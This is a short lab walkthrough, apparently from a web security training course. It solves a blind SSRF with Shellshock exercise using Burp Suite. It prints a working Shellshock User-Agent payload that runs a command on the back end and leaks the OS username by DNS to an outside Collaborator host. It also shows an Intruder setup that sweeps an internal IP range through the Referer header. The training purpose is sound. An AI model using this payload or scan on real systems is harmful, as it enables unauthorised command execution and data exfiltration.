Lab: Blind SSRF with Shellshock exploitation

1. In Burp Suite Professional, install the Collaborator Everywhere extension from the BApp Store.
2. Add the domain of the lab to Burp Suite's target scope, so that Collaborator Everywhere will target it.
3. Browse the site.
4. Observe that when you load a product page, it triggers an HTTP interaction with Burp Collaborator, via the Referer header.
5. Observe that the HTTP interaction contains your User-Agent string within the HTTP request.
6. Send the request to the product page to Burp Intruder.

7. Go to the Collaborator tab and generate a unique Burp Collaborator payload. Place this into the following Shellshock payload:

   () { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
8. Replace the User-Agent string in the Burp Intruder request with the Shellshock payload containing your Collaborator domain.
9. Change the Referer header to http://192.168.0.1:8080 then highlight the final octet of the IP address (the number 1), click Add §.
10. In the Payloads side panel, change the payload type to Numbers, and enter 1, 255, and 1 in the From and To and Step boxes respectively.
11. Click Start attack.
12. When the attack is finished, go to the Collaborator tab, and click Poll now. If you don't see any interactions listed, wait a few seconds and try again, since the server-side command is executed asynchronously. You should see a DNS interaction that was initiated by the back-end system that was hit by the successful blind SSRF attack. The name of the OS user should appear within the DNS subdomain.
13. To complete the lab, enter the name of the OS user.

Rana Khalil

Michael Sommer (no audio)